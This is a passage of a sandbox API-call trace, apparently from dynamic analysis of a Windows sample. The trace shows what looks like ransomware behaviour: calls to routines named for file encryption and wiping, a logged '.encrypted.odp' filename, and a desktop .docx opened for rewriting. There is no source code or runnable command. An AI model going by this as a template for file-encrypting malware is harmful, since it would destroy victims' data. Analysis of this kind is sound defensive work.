wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.883] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.883] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.883] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.883] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.887] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.887] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.887] CharLowerBuffW (in: lpsz="byte[80034]", cchLength=0xb | out: lpsz="byte[80034]") returned 0xb [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.889] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.889] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.889] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.889] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.890] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.890] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.890] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.890] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.891] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.891] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.891] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.891] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1425) returned 1 [0022.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.892] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x591, lpOverlapped=0x0) returned 1 [0022.892] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1425) returned 1 [0022.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\n", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0022.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\n", cchWideChar=63, lpMultiByteStr=0xe8f4051040, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\n", lpUsedDefaultChar=0x0) returned 63 [0022.892] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051f90*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051f90*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3e, lpOverlapped=0x0) returned 1 [0022.892] CloseHandle (hObject=0x188) returned 1 [0022.894] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.894] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.895] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.895] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.895] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.895] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.895] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.895] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.896] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.896] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.896] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.docx", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0022.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.docx", cchWideChar=41, lpMultiByteStr=0xe8f404be50, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.docx", lpUsedDefaultChar=0x0) returned 41 [0022.898] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.docx" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k3ebs8.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0022.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=41, lpWideCharStr=0xe8f406a190, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.docx") returned 41 [0022.898] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.899] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.899] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.899] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.899] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.899] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.899] CloseHandle (hObject=0x188) returned 1 [0022.899] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.900] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.900] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.900] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.900] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.900] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.900] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 